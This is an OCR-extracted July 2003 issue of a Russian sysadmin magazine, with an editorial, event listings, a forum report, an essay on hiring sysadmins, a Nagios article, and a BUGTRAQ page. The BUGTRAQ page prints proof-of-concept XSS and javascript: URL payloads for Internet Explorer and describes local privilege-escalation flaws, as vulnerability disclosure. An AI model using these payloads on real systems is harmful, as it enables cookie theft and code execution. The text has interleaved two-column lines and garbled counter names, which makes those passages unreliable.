Вы находитесь на странице: 1из 98

№7(8) июль 2003

подписной индекс 81655


журнал для cистемных администраторов,
вебмастеров и программистов

Мониторинг
Windows-серверов
с помощью Nagios
Неявный самоконтроль
как средство создания
неломаемых защит
Стартовые
скрипты FreeBSD
Настройка
сервера SSH
Python глазами DBA
Каким видится
хороший системный
администратор
оглавление

Календарь событий 3 Три составных части защиты


Сергей Яремчук
grinder@ua.fm 44
Репортаж с Первого брестского
интернет-форума
Андрей Кухарчик ПРОГРАММИРОВАНИЕ
admin@virtualbrest.ru 4
Python глазами DBA
Каким видится хороший Олег Попов
системный администратор opopov@yandex.ru 52
Вячеслав Калошин
multik@multik.ru 6
Java: работа с файлами
Даниил Алиевский
АДМИНИСТРИРОВАНИЕ daniel@siams.com 56

Мониторинг Windows-серверов ОБРАЗОВАНИЕ


с помощью Nagios
Часть1
Андрей Бешков Mac OS X или То, что должен знать
tigrisha@sysadmins.ru 12 каждый про Macintosh, Apple и
операционные системы
Александр Потемкин
Стартовые скрипты FreeBSD apotemkin@itinfo.spb.ru 68
Денис Пеплин
info@volginfo.ru 20
Обучение через Интернет – это возможно?
Настройка сервера SSH Ольга Игошина
Денис Колисниченко Igoshina@scph.mipt.ru 78
dhsilabs@mail.ru 24

IRC-сервер СЕТИ
Александр Слободской
info@samag.ru 28 Powerline: Интернет из розетки
Денис Колисниченко
Контроль последовательных dhsilabs@mail.ru 86
портов в Linux
Денис Колисниченко
dhsilabs@mail.ru 32 Планируем переезд сети
Вячеслав Калошин
multik@multik.ru 90
БЕЗОПАСНОСТЬ

Неявный самоконтроль как средство BUGTRAQ 10, 31, 42, 94


создания неломаемых защит
Крис Касперски
kk@sendmail.ru 36

WWW.SAMAG.RU
№7(8), июль 2003 1
Две или три недели назад я привезла один
из номеров «Системного администратора»
своему старому знакомому. Жена знакомого
со своей подругой из вполне понятного
женского любопытства тут же выхватили
номер у меня из рук – посмотреть, что же это
за новый журнал, о котором в последнее
время с увлечением говорят их мужья. Спустя
секунду, обе громко заразительно хохотали.
Я в смущении пыталась понять причину столь
неадекватной, на мой взгляд, реакции.
Как оказалось впоследствии, все дело было
в заголовках на обложке. Взгляните
со стороны: «Создаем VPN на основе vtun»,
«LIDS», «Компиляция FreeBSD», «Настройка
Radius-сервера» – думаю, продолжать
не нужно. Для непосвященного
в компьютерные таинства все это звучит
равнозначно китайской грамоте. Поэтому
понять сисадминов, да еще и пообщаться
с ними «на равных» сможет далеко
не каждый. По моему субъективному
ощущению, системный администратор –
это больше, чем профессия. Это стиль жизни.
Это целый мир со своим языком, своей
философией и уже со своими традициями:
каждый год в последнюю пятницу июля
системные администраторы всего мира
отмечают свой профессиональный праздник.
К своему сожалению, я не знаю истории
возникновения этого праздника, но мне
кажется, что день и месяц выбран вполне
в духе сисадминов: можно, не торопясь,
отметить его, выбравшись на природу
или в какое-нибудь уютное место,
одновременно отдохнув и пообщавшись
с коллегами.
Мне лишь остается поздравить всех
«посвященных» от нашей редакции
с профессиональным праздником, пожелать
вам творческих успехов и бесперебойной
работы вверенного «хозяйства»!

Наталья Хвостова

2
календарь событий
Cеминар
12 системных администраторов 25-27 Пятый ежегодный фестиваль
разработчиков и пользователей
ИЮЛЯ и инженеров ИЮЛЯ свободного ПО
Портал SysAdmins.RU (htttp://sysadmins.ru) объявляет о С 25 по 27 июля 2003 года в Калужской области будет
проведении первого в России Семинара системных ад- проходить пятый ежегодный фестиваль разработчиков и
министраторов и инженеров. пользователей свободного программного обеспечения
Данное мероприятие приурочено ко второй годовщине LinuxFest.
проекта SysAdmins.RU и является одной из вех, знаменую- Организатор фестиваля интернет-ресурс Linux.ru.net
щих очередной этап развития проекта. Семинар будет по- приглашает всех желающих посетить этот небольшой
священ проблемам IT, тенденциям рынка IT, рынку труда с праздник свободного ПО, познакомиться с коллегами,
точки зрения IT-специалистов и множеству смежных воп- найти новых единомышленников и просто провести вы-
росов. На семинаре выступят специалисты различных ком- ходные в живописном месте на берегу реки Протвы.
паний, активно работающих на российском и мировом IT- В программе фестиваля: круглые столы по различным
рынке. Тематика выступлений такова, что будет интересна тематикам, конкурсы, общение, активный отдых.
как сугубо техническим специалистам, так и руководите- Самых активных участников сообщества разработчи-
лям IT-подразделений, служб техподдержки, IT-менедже- ков и пользователей Linux ожидают призы от компании
рам разного уровня. В перерывах – кофе и закуски. В нео- ALT Linux и журнала «Системный администратор».
фициальной части – пиво, розыгрыши призов и т. п. Традиционно для участия в фестивале приезжающим
Семинар состоится 12 июля 2003, начнется в 12-00 по необходимо иметь при себе туристическое снаряжение
московскому времени и продлится до 20-00. Семинар бу- (палатка, рюкзак и т. д.) и запас пропитания на все время
дет проводиться в очень уютном и удобном месте – Доме фестиваля.
ветеранов кино (ДВК). Адрес: г. Москва, ул. Нежинская, 5. Подробная карта проезда, FAQ, список участников и
(от м. Киевская на маршрутном такси №7 до остановки прочие подробности – на сайте Linux.ru.net.
«Дом Ветеранов Кино»). Вход на семинар 150 руб. Обязательная регистрация участников производит-
Ознакомиться с подробной программой, зарегистриро- ся на сайте Linux.ru.net в разделе «фестиваль». Орга-
ваться для участия на семинаре и посмотреть карту проез- низационный сбор за участие в фестивале – 100 руб. с
да можно на htttp://SYSM.ru. человека.

№7(8), июль 2003 3


репортаж

ПЕРВЫЙ БРЕСТСКИЙ
ИНТЕРНЕТ-ФОРУМ

14 июня в городе Бресте (Беларусь) прошел первый в рес- Кроме всего прочего, были наглядно продемонстри-
публике региональный интернет-форум. Мероприятие ока- рованы преимущества и модели использования ПК для
залось невероятно популярным благодаря тому, что уча- учебы, работы, творчества и развлечений. В реальном
стники постарались создать для посетителей не столько времени посетители смогли наблюдать за монтажом и
деловую атмосферу, сколько настроение праздника. И обработкой аудио- и видеофрагментов, работой в Интер-
именно поэтому интересно было присутствовать не толь- нете в составе беспроводной сети как в ее обычном виде,
ко специалистам интернет-технологий, но и самым про- с использованием коммутируемого доступа к Интернету,
стым пользователям, делающим свои первые шаги в уди- так и с применением мобильных GPRS-решений.
вительной стране Интернет. Посетители Брестского интернет-форума смогли позна-
Инициаторами и организаторами форума выступили го- комиться и с мобильными технологиями Intel. На стендах
родской портал «Виртуальный Брест» (http://virtual.brest.by) компаний ASBIS и «Успех» демонстрировались ноутбуки
и компьютерный салон «Успех» (http://204040.com). Цель на базе технологии Intel Centrino для мобильных ПК и кар-
интернет-форума заключалась в том, чтобы продемонст- манные компьютеры на основе технологии Intel XScale.
рировать возможности современных цифровых устройств На приглашение принять участие в первом интернет-
и решений для Интернета, и она была с блеском выполне- форуме откликнулось достаточно много участников. В пер-
на в ходе мероприятия. вую очередь, это интернет-проекты и организации города,
Генеральным спонсором интернет-форума стала кор- среди которых – ведущие дизайнерские студии, хостинг-
порация Intel. Ее специалисты продемонстрировали на провайдеры, общественные организации и т. д. И кроме
специально оборудованных стендах преимущества сис- того, не остались в стороне представители ведущего сото-
тем, построенных на основе компьютеров с процессора- вого оператора VELCOM, продемонстрировав преимуще-
ми Intel Pentium 4, в том числе с поддержкой революцион- ства работы мобильного Интернета по системе GPRS.
ной технологии Hyper-Threading. Работа и демонстрации После первой части, в рамках которой проходила выс-
велись в таких областях, как аудиообработка, цифровые тавка цифровых технологий, посетители были приглаше-
фото-, видеосъемка и монтаж, коммуникации (высокоско- ны на интернет-конференцию. В ходе ее были зачитаны
ростной доступ в Интернет), компьютерные игры, работа доклады ведущих специалистов не только города Брес-
с периферийными цифровыми устройствами (принтеры, та, но и республики. Слушатели смогли узнать об особен-
сканеры, фото-, видеокамеры и т. д.). ностях развития и построения сайтов в Беларуси, уточ-

4
репортаж

нить разнообразные вопросы электронной коммерции от- суары. Кроме того, особое внимание привлек розыгрыш до-
носительно национальных стандартов, на примерах раз- менных имен и хостинга от проекта HOSTER.BY. В ходе кон-
ных сайтов увидеть, как нужно и как не не нужно созда- курса, на который отозвались более 30 желающих, были
вать корпоративные решения для Интернета. В конферен- заданы несколько сложных вопросов, и по результатам от-
ции приняли участие специалисты Белорусского портала ветов эти специфические призы были распределены. Пос-
TUT.BY, Государственного Университета им. А.С. Пушки- ле розыгрыша посетители смогли задать свои вопросы док-
на, ведущих интернет-проектов города и т. д. ладчикам и участникам, а также познакомиться и пообщать-
По окончании конференции среди посетителей был про- ся на интересующие их темы.
веден розыгрыш ценных призов, предоставленных участни- Материалы, тезисы и доклады прошедшего интернет-
ками интернет-форума. Счастливчикам были в присутствии форума можно найти на официальном сайте http://
всех вручены современные модемы, оптические мышки, кла- bif.virtualbrest.com.
виатуры, наушники и разнообразные компьютерные аксес- Андрей Кухарчик

№7(8), июль 2003 5


из личного опыта

КАКИМ ВИДИТСЯ
ХОРОШИЙ
СИСТЕМНЫЙ
АДМИНИСТРАТОР

6
из личного опыта
Хороший системный администратор – как много в этих трех
Нет, я не Господь Бог, словах отзывается в сердце любого начальника. В самом
я всего лишь ваш деле, как распознать хорошего системного администрато-
Системный Администратор...
ра среди претендентов на вакантное место? Ведь что ни
(одно из частых высказываний говори, сисадмин в компании – одно из самых незаметных
сисадминов начальству) лиц и в то же время одно из самых важных. Именно от него
(от них, если их много) зависит, будут ли «бесперебойно
работать» ваши сотрудники, и сможете ли вы гарантировать
хоть какой-то уровень обслуживания своим клиентам.
Не стоит путать сисадмина с «аникейщиком». Если
первый рулит серверами и прочим оборудованием, то вто-
рой заменяет картриджи в принтерах, разбирается с не-
читающимися дисками и обьясняет пользователям, куда
и что надо нажать. (Термин «аникейщик» пошел с тех вре-
мен, когда программа выводила на экран сообщение
«press any key to continue» и пользователи, не находя кноп-
ки «any key» на клавиатуре, звали администратора.)
Я периодически с постоянством маятника бываю по
обе стороны «баррикад» и попытаюсь хоть чуть-чуть раз-
веять заблуждения, бытующие в обоих средах. Конечно,
как начальник я еще слаб, но мало кто аргументированно
сможет упрекнуть меня в том, что я плохой сисадмин.

Наиболее частые заблуждения


со стороны начальства
Зачем платить сисадмину $1000, когда на рынке
очень много предложений от людей, готовых работать
за $300-400.
Не забывайте, что скупой платит дважды. Квалифи-
цированный специалист не может стоить дешево, так же,
как вы не сможете найти новый S600 за $20000. Чем выше
квалификация специалиста, тем меньше он допустит про-
стоев в работе системы. Посчитайте, во сколько вам обой-
дется простой в 1 час (когда вообще все не работает) или
периодические перебои в работе в течение хотя бы одно-
го дня (то принтер не печатает, то почта не уходит, то те-
лефон не звонит)...
Зачем мне один сисадмин за $1000? Пусть будут
трое по $300.
Сисадмины – не токари у станка. И не стоит ожидать
от трех сисадминов того, что они разберутся с пробле-
мой быстрее одного за $1000. Плюс у трех сисадминов за
такую цену не будет такого же опыта, как у одного за
$1000. К сожалению, опыт – это такая величина, которая
очень редко поддается суммированию.
Хорошо, пусть будет сисадмин за $1000, но он дол-
жен знать (список из 40 пунктов: от протоколов и на-
стройки Windows до программирования сайта).
Сисадмин – не многорукий Шива. Он может одновре-
менно по телефону выяснять с секретаршей, почему у нее
принтер ничего не печатает, и выяснять, почему на сайте
показываются неактуальные цены, но будет делать это
хреновооо... Попросите своего главного бухгалтера од-
новременно с выставлением счетов партнерам обьяснять
клиенту что-нибудь, и все поймете моментально...
Хорошие сисадмины обычно являются профессиона-
ВЯЧЕСЛАВ КАЛОШИН лами в узкой области, поэтому не стоит специалиста по
сетям заставлять администрировать веб-сайт. Ничего хо-
рошего из этого обычно не получается. Хотя может по-

№7(8), июль 2003 7


из личного опыта
везти, и у вас будет многопрофильный специалист, кото- Признаки хорошего сисадмина
рый сможет и шлюз для подключения сотрудников из дома  В меру здоровая лень. Хороший сисадмин никогда на
настроить, и создать сайт для компании. Но такие редко вопрос «Что делаешь?» не ответит: «Вот, вышла но-
бывают, берегите их. вая софтина, ставлю на сервер». Если примерно 50%
А как узнать о том, что системный администратор времени сисадмин пьет чай и у вас все работает – силь-
хороший? Ведь на лице у него это не написано? но радуйтесь, очень сильно радуйтесь.
Ни в коем случае не полагайтесь на наличие/отсут-  Никогда не спрашивайте у сисадмина «Что делаешь?».
ствие сертификатов. Сертификаты – просто подтвержде- Спросите «Что сделал?» или «Что будешь делать?».
ние того, что человек заплатил деньги, прослушал курсы Многие сисадмины работают в прерывистом режиме:
и правильно поставил галочки на экзамене. Всё. Макси- пообщаются с друзьями, подумают, что-то подправят,
мум, что вы можете предположить – это наличие базовых почитают документацию и так далее по кругу. Это со-
знаний по предмету. Я знаю людей, которые могут гордо вершенно нормальный ритм работы.
показать сертификат MСSE, но все их попытки завести  Хороший сисадмин всегда готов предоставить полную
сервер так, чтобы он не требовал к себе внимания хотя информацию о системе, начиная с того, сколько про-
бы неделю, тщетны. Но я знаю и людей, которые имеют работал сервер, и заканчивая почасовым разбиением
сертификат CCNA и способны легко построить беспере- обьема скачанного на компьютер сотрудника Н. Не
бойно работающую сеть в десятке филиалов. По крайней увлекайтесь паранойей, он не читает вашу почту. Но
мере, поговорите с сисадмином из дружественной ком- готов дать вам информацию, сколько вы писем отпра-
пании и выясните реальную ценность сертификата. вили и какого они были обьема.
Единственно гарантированно работающий способ, ко-  Он всегда держит резервные копии. И просьба «Мне
торый я знаю – это присматриваться к сисадмину в тече- нужен этот файл таким, каким он был 4 месяца на-
ние испытательного срока. Если сисадмин хороший, ваша зад» не должна его удивлять.
компания не должна даже заметить, что появился новый  Привыкните к тому, что сисадмины – вечерне-ночные
человек (если до этого все работало хорошо) или все ста- существа. Дело в том, что серьезные работы лучше
ло работать лучше. Если же примерно дня через два пос- делать тогда, когда сервера меньше всего загружены.
ле того, как приняли на работу сисадмина, компанию на-  Хороший сисадмин обычно умеет очень хорошо гово-
чало лихорадить и лихорадило с день-два-неделю, а по- рить. Это легко вывести из предыдущих пунктов. Есть
том все вошло в норму и стало еще лучше – сисадмин немного свободного времени – почему бы не почитать
нормальный, но опыта маловато. А вот если все залихо- что-нибудь из художественной литературы и отдохнуть.
радило и продолжает лихорадить (сисадмин бегает от со- Дело начинается обычно с фантастики и заканчивает-
трудника к сотруднику и так далее) – срочно изменяйте ся классикой.
свою шкалу зарплаты для сисадмина и ищите нового.  Он никогда не бросает работу на полпути. Если что-то
В общем, рекомендации для выбора сисадмина в ос- сломалось, он уходит в авральный круглосуточный ре-
новном те же, что и для выбора главного бухгалтера. жим до починки. Если вы позаботитесь о том, чтобы
ему в 2 часа ночи привезли пиццу к серверу, находя-
Маленькие рекомендации щемуся в починке, то он будет благодарен вам и в бу-
для размещения сисадминов дущем горы для вас свернет.
 Если есть возможность, выделите для системного адми-  У хороших сисадминов что-то ломается редко. Это не
нистратора просторную комнату и дайте ему некоторую их стиль работы.
свободу действий. Хороший сисадмин через некоторое  Он не пьет пиво, вино, водку и прочий алкоголь на рабо-
время стащит в эту комнату все важное для работы ком- чем месте. Кофе или чай – легко. Алкоголем он нагружа-
пании оборудование. Обеспечьте этой комнате желез- ется в специально отведенных для этого местах. И чем
ную дверь (еще лучше, чтобы и охранник неподалеку си- выше качество (не количество!) алкоголя, тем лучше.
дел) и нормальную вентиляцию (сервера имеют тенден-  И наконец, он не болеет манией величия. Пользовате-
цию очень быстро греть воздух, но сами в жаре работать ли никогда от него не услышат обвинений в тупости и
не любят). Отныне эта комната – серверная. В ней бьет- то, что они его, такую сияющую вершину мироздания,
ся электронное сердце вашей компании. достали до колик в животе.
 Если серверная уже есть, пусть сисадмин сидит где-
нибудь неподалеку. Вы же не просите бухгалтера со- Основные ошибки сисадминов
ставить баланс, находясь дома.  Босс не понимает, что мне надо вот ЭТО.
 И ради бога, уберите подальше от него сотрудников с
кучей телефонов. Или наоборот, уберите сисадмина Вы разговариваете с ним на разных языках. Боссу нет
от них. Постоянные звонки при отладке оборудования никакого дела до какой-то железки и вашей нужды в ней.
раздражают гораздо сильнее, чем плохая секретарша. Но ему вовсе не безразлична работа компании и ее при-
 Хоть иногда прислушивайтесь к тому, что говорит вам быль. Сядьте, подумайте 5 минут и найдите толковое и
сисадмин. Да, иногда он разговаривает на другом язы- разумное обоснование тому, что вы просите. Если вы его
ке, но понять его можно, особенно если выделить ему не можете найти, не обижайтесь, что босс все выслушает
хотя бы полчаса и уведомить его об этом не за пять и вежливо отправит вас ни с чем. Научитесь выражать
минут. свои мысли не только словами «круто» и «рулез».

8
из личного опыта
Пример  он должен зайти в этот каталог и попытаться решить
Ваш workgroup-сервер начал «задыхаться». Да-да, ком- проблему выбора: что ему нужно очень, а что не очень;
пания растет, а сервер – нет. Пусть есть сервер PIII-500/  он должен найти место для того, чтобы положить не
256/20+20 stripe. Вы сели, подумали, посмотрели статис- очень нужное. В общем, как миниум, вы полчаса ото-
тику (см. ниже) и решили, что на следующий год компа- рвете у каждого, кто получил это сообщение.
нии нужен 2xPIII-1000/1024/80 raid5. Поглядели по прай-
сам и выяснили, что обойдется он в $5000 (условно). По- А теперь получайте проблемы, которые вы сами себе
шли к боссу. Просунули голову в дверь: «А... эта, Михаил создали:
Иванович, мне тут нужен сервер новый. $5000 стоит. Ну  невозможность собрать нормальный бэкап или воз-
эта... старый уже старый, и вообще, он уже не так рабо- можность его собрать с куда большими усилиями;
тает и не справляется». Думаете, это шутка? Нет, так про-  вы прививаете пользователю привычку хранить все на
исходило на моих глазах пару раз. Понятно, что потом своей машине. Как вы будете обьяснять боссу, что на
идут жалобы на черcтвость босса и вообще на плохую бухгалтерской машине (кстати, почему-то обычно са-
жизнь сисадминов. мой слабой из парка) пропал из-за поломки диска аван-
Подготовьте графики загрузки сервера хотя бы по совый отчет за прошлый год? И почему этот отчет не
процессору, памяти, сети и дискам. Покажите на них влез в дисковую квоту на живом сервере?
четкую черту, где возможностей сервера уже не будет  вы разрушаете структуру защиты сети (если есть, что
хватать. Распишите кратко, чем это грозит в перспек- разрушать). Пользователю будет проще перекинуть
тиве на 2-3 месяца и на полгода. Предложите желатель- файл по аське или открыть диск С: на запись, чем по-
ную конфигурацию и марку сервера и точно так же рас- ложить файл на сервер;
пишите, что изменится после его ввода в эксплуата-  вы потеряли возможность проверить этот файл в ав-
цию. Затем подойдете к секретарше и ласково догово- томате антивирусом. Береженого бог бережет.
ритесь, что она устроит так, что босс выделит вам пол-
часа и его никто не будет отвлекать телефонными звон- Не ударяйтесь в другую крайность: не потакайте
ками. Всё. 95% того, что сервер купят или включат в пользователям во всем. Пользователь должен быть как
бюджет следующего квартала. цыпленок под курицей. Хорошо, тепло, сухо и еды вдо-
 Не гонитесь за дешевизной. Да, 24-х портовый хаб за воль (говоря другими словами – все работает в удобном
$100 стоит в 10 раз дешевле Cisco2950. Но если вы для него режиме и ему не надо вспоминать ваш телефон
купите и поставите этот хаб в ядре сети из 100 компь- для выяснения вопроса о распечатке цветной диаграммы
ютеров, а на оставшиеся деньги увеличите себе винт на струйном принтере). Но цыпленок одновременно дол-
в машине, то не рассчитывайте оправдаться словами жен знать, что если он высунется из гнезда, то получит
«Михаил Иванович, а что я могу поделать...». Да, са- клювом по лбу. То есть сын секретарши не должен по ве-
мосборный сервер дешевле сервера от HP или IBM. черам ставить новые игры непонятно откуда, и менеджер
Но и работать под нагрузкой он будет во столько же не должен иметь возможности сменить Win2000 на WinXP
раз хуже. Поверьте моему опыту. только потому, что она красивее и вообще она новее и
 Собирайте статистику. Статистика – это не только по- дома у него такая. Пользователи должны знать, что им
вод построить красивые графики, но и мощный инст- можно и что нельзя. Для этого придумали такую вещь,
румент прогнозирования проблем и неприятностей. Вы как корпоративный кодекс, даже если корпорация состо-
же сами лучше поймете, почему вон тот хаб не пере- ит из 10 человек.
стает мигать лампочками. В общем, будьте строго добры к пользователям и они
ответят вам тем же.
Самая главная и распространенная ошибка
 Поймите, наконец, что не компания работает для вас,
и пользователи – не надоедливые «тупые человеч-
ки», которые отвлекают постоянно. Вы работаете для
компании и для того, чтобы эти «тупые человечки»
работали как можно более продуктивно. Если они
не понимают в компьютерах так же, как вы, то это
не означает, что вы понимаете в их области деятель-
ности так же, как они.

Пример
Рассылка по сети: «Немедленно всем почистить свои ка-
талоги на диске W:, а то удалю все, к чему не прикаса-
лись больше месяца. И вообще, сервер не резиновый и
все такое». Вы, извините, создаете проблемы себе, тор-
мозите работу компании и вообще...
Посмотрите на это со стороны пользователя:
 он должен прерваться и осмыcлить сообщение;

№7(8), июль 2003 9


bugtraq

Межсайтовый скриптинг при обработке Удаленное выполнение произвольного


некорректных XML-документов кода в Microsoft Internet Explorer
в Microsoft Internet Explorer Уязвимость обнаружена в Internet Explorer в механизме об-
Уязвимость обнаружена в Internet Explorer в обработчи- работки HTTP-ошибок. Удаленный пользователь может вы-
ке XML-документов. Удаленный атакующий может вы- полнить произвольный код в Local Zone на целевой системе.
полнить произвольный код сценария в контексте целе- Internet Explorer поставляется с несколькими файла-
вого веб-сайта. ми, отвечающими за обработку HTTP-ошибок («Friendly
Internet Explorer автоматически пытается анализиро- HTTP error messages»). Например, если «site.com» сгене-
вать любой XML-файл, который запрашивается браузе- рировал 404 HTTP-ошибку, то следующий внутренний URL
ром. Если анализ прошел успешно, в браузере пользова- будет отображен IE:
теля отобразится динамическое дерево различных XML-
элементов. Если при анализе возникает ошибка, Internet errorres://shdoclc.dll/404_HTTP.htm#http://site.com/file.html
Explorer отобразит ошибку вместе с URL запрашиваемо-
го XML-файла. Обнаружено, что вышеупомянутая процедура разбо-
В некоторых случаях отображенный URL не фильтрует- ра содержит недостаток, который может использоваться
ся на наличие HTML-кода. Фактически это означает, что для выполнения произвольного кода сценария в Local
наличие на вашем сайте XML-файла, который не может Zone. В результате удаленный атакующий может читать
быть правильно проанализирован Internet Explorer и MSXML, произвольные локальные файлы, выполнять произволь-
делает ваш сайт уязвимым к XSS-нападениям. ные команды и выполнять другие потенциально деструк-
Проблема была воспроизведена в различных установ- тивные действия.
ках, но GreyMagic не смог достоверно определить уязви- Удаленный атакующий может представить специаль-
мый компонент. Скорее всего, уязвимость затрагивает не- но обработанное значение после поля #sign, которое зас-
которые версии MSXML, а не Internet Explorer непосред- тавит функцию записать «javascript:» URL в отображае-
ственно. мую ссылку. Пример:
Пример:
res://shdoclc.dll/HTTP_501.htm#javascript: ↵
http://host.with.unparsable.xml.file ↵ %2f*://*%2falert(location.href)/
/flaw.xml?<script>alert(document.cookie)</script>
Чтобы проверить уязвимость, скопируйте URL в брау-
Microsoft смогла воспроизвести обнаруженный недо- зер и кликните на ссылку.
статок только на IE6 Gold. Как сообщает GreyMagic, они Уязвимость обнаружена в Microsoft Internet Explorer 5.5-6.0.
смогли воспроизвести уязвимость на следующих систе- Способов устранения обнаруженной уязвимости не су-
мах: IE5.5 NT4, IE6 Win98, IE6 Win2000. ществует в настоящее время.

Поднятие локальных привилегий Повышение локальных привилегий


в Sun Java Virtual Machine в Progress Database
на Linux-системах Уязвимость обнаружена в Progress Database в нескольких
Уязвимость обнаружена в Sun Java Virtual Machine. Ло- вспомогательных программах. Локальный пользователь
кальный пользователь может получить поднятые приви- может получить root-привилегии на целевой системе.
легии на системе. Sun Java Virtual Machine (JVM) на Linux- Сообщается, что когда выполняются некоторые вспо-
системах небезопасно сохраняет временные лог-файлы могательные файлы, база данных загружает общедоступ-
в '/tmp'-каталоге. Согласно сообщению, JVM создает файл ные файлы объектов с dlopen()-функцией, основываясь
'/tmp/jpsock.**_*' при загрузке, без предварительной про- на пути, определенном в переменной PATH. Локальный
верки существования файла, и если файл существует, не пользователь может изменить переменную PATH, чтобы
проверяет, кто его владелец. сослаться на другое местоположение, в котором распо-
Локальный пользователь может сконструировать сим- ложены альтернативные версии объектных файлов, ко-
вольную ссылку из произвольного файла к временному торые будут выполнены с root-привилегиями.
имени файла. Затем, когда целевой пользователь запус- Согласно сообщению, уязвимо большинство программ,
кает JVM, ссылающийся файл будет перезаписан с при- расположенных в '/usr/dlc/bin'-каталоге.
вилегиями целевого пользователя. Уязвимость обнаружена в Progress Database 9.1 – 9.1D06.
Уязвимость обнаружена в j2re1.4.1_02 on Linux. В качестве временного решения, можно удалить setuid
Способов устранения обнаруженной уязвимости не bit из уязвимых программ.
существует в настоящее время.

Составил Александр Антипов

10
администрирование

Часть 1

АНДРЕЙ БЕШКОВ
12
администрирование
С момента публикации первой статьи о Nagios прошло примеру, объект «Файл подкачки» содержит внутри
довольно много времени, но вопросы и пожелания все себя набор счетчиков, говорящих о состоянии одного
продолжают приходить. Самый часто встречающийся или нескольких файлов виртуальной памяти, исполь-
вопрос – как настроить слежение за серверами, работа- зуемых системой. Некоторые подсистемы имеют всего
ющими под управлением семейства операционных сис- один экземпляр объекта производительности, другие
тем Windows. В этой статье мы рассмотрим два спосо- же могут иметь несколько. К первому виду относятся
ба, используя которые можно добиться осуществления «Система», «Память», «Сервер». «Жесткий диск» и
наших желаний. Как всегда система, мониторинга Nagios «Процессор», соответственно, ко второму. Согласитесь,
работает под управлением моей любимой системы что жестких дисков в компьютере может быть несколь-
FreeBSD 4.7. Приверженцы Linux, Solaris и других Unix- ко, а значит, внутри системы они должны быть пред-
подобных систем тоже не останутся в стороне. Все опи- ставлены отдельными подсистемами. В то же время
санные ниже приемы с незначительными изменениями оперативная память, вне зависимости от количества
можно с успехом применять и в их системах. чипов, является единым компонентом. А посему иметь
В качестве подопытной системы будет использовать- больше одного экземпляра объекта производительно-
ся русская версия Windows 2000 Professional. Такой вы- сти ей не положено. В случае если подсистема облада-
бор обусловлен тем фактом, что настроить программ- ет несколькими экземплярами объекта, есть возмож-
ное обеспечение для исправной работы с русской вер- ность следить за счетчиками всех экземпляров или за
сией сложнее, чем с аналогичной английской. Придет- одним общим. В зависимости от языка операционной
ся решать проблемы, связанные с локализацией, а зна- системы, объекты и счетчики называются по-разному.
чит, статья получится гораздо полезнее и интереснее. К примеру, посмотрим, как будет называться один и тот
Последовательность действий по настройке программ- же счетчик в локализованных версиях Windows 2000:
ного обеспечения выглядит практически одинаково для
всех версий Windows. Я надеюсь, что никому из вас не
приходит в голову мысль серьезно рассматривать в ка-
честве операционной системы для установки на сер-
вер Windows 3.1, 3.11, 95, 98, ME. Поэтому дальше в этой
статье о них не будет сказано ни слова, соответственно,
вы можете с полным правом считать, что все методы, опи-
санные ниже, работать с ними, скорее всего, не будут. По моему мнению, идеи более глупой, чем подобное
В дальнейшем предполагается, что вы прочитали чрезмерное увлечение локализацией, придумать нельзя.
первую статью, подробно описывающую основы уста- Представьте себе процесс написания программы, ис-
новки и настройки Nagios, либо в февральском номере пользующей в своей работе счетчики. Придется посто-
журнала «Системный администратор», либо на моем янно переделывать программу для каждой новой лока-
сайте http://onix.opennet.ru/. лизованной версии Windows. В дальнейшем все приво-
Покончив с формальностями, приступим к изучению димые примеры будут опираться на русские версии пе-
конструкции и принципов работы подсистемы сбора дан- речисленных операционных систем семейства Windows.
ных о производительности. Такая система встроена в каж- Чтобы закрепить все вышесказанное, давайте рас-
дую версию Windows-системы старше, чем Windows ME. смотрим несколько примеров счетчиков:
Для сбора статистики о своем функционировании
Windows NT, Windows 2000, Windows XP используют \\TIGROID\Ïðîöåññîð(_Total)\% çàãðóæåííîñòè ïðîöåññîðà
объекты производительности. Делать подобные утвер- \\TIGROID\Ïðîöåññîð(0)\% çàãðóæåííîñòè ïðîöåññîðà
ждения о Windows 2003 не буду, потому что потрогать
\\TIGROID\Ïðîöåññîð(1)\% çàãðóæåííîñòè ïðîöåññîðà
ее пока не удалось. Каждый компонент системы в про-
цессе работы генерирует данные о производительнос- Первый компонент – это имя моего домашнего компь-
ти и складывает их в счетчики (performance counters) ютера, на котором я пишу статьи и провожу тестовые ин-
собственного объекта производительности. На самом сталляции. «Процессор» – название объекта. Как вы мог-
деле объект – это абстракция, введенная для облегче- ли бы догадаться, (_Total) – экземпляр, инкапсулирующий
ния понимания материала. Логичнее всего было бы внутри себя данные о производительности всех процес-
представлять объект как группу счетчиков, связанную соров системы. Соответственно, (0) и (1) – экземпляры
с наблюдаемой службой или ресурсом. Чаще всего на- объектов первого и второго процессоров. И наконец, «%
звание объекта совпадает с названием родительского загруженности процессора» – название самого счетчика.
системного компонента. В большинстве случаев объек- В повседневной практике сложилась традиция для крат-
ты производительности соответствуют компонентам кости записывать названия счетчиков без имен компью-
оборудования компьютера – память, процессор, жест- теров. Я считаю, что нам также стоит придерживаться ее.
кие диски. В то же время многие службы и программы Счетчики бывают следующих типов:
могут создавать свои собственные объекты произво-  Моментальный – всегда содержит последнее значение
дительности. Иллюстрацией такого утверждения явля- использования ресурса. В качестве разъяснения приво-
ются объекты службы «Обозреватель компьютеров» дим счетчик \Очередь печати(_Total)\Заданий, собираю-
или серверной программы Internet Information Server. К щий данные о количестве заданий в очереди печати.

№7(8), июль 2003 13


администрирование
 Усредненный – хранит среднее число, созданное на узнать, как правильно называется тот или иной счетчик,
основе двух последних значений счетчика. Примером добавьте его в список отображения. Очень полезно во
такого типа является счетчик \Память\Страниц/сек., со- время просмотра списка доступных счетчиков нажать
держащий в себе среднее значение частоты смены кнопку «Объяснения», так как названия счетчиков недо-
страниц памяти в секунду. статочно информативны. К примеру, как вам такой ше-
девр ясности с первого взгляда: «% времени DPC»? Лад-
Существует возможность создавать счетчики дру- но, оставим названия на совести создателей системы.
гих типов. Но для этого необходимо иметь пакет Platform Хотя если есть желание, можно нажать кноку “Объясне-
Software Development Kit. Впрочем, обсуждение подоб- ние” и на экране появится маленькое окошко с кратким и
ных методик выходит далеко за границы этой статьи. не всегда понятным объяснением предназначения того или
Просмотреть список объектов и счетчиков, существу- иного счетчика. Выбрав нужный счетчик, жмем кнопку
ющих в системе, а также полюбоваться на их содержи- «Добавить». Затем правой клавишей мыши щелкаем в
мое можно с помощью модуля «Монитор производи- центре графика и выбираем пункт меню «Свойства». В
тельности», входящего в состав консоли управления появившемся диалоговом окне наше внимание привле-
Microsoft. А если говорить совсем просто, то открыть кает вкладка «Данные».
вышеописанный модуль можно выполнив программу
perfmon.exe. После ее запуска мы должны увидеть при-
мерно такое окно:

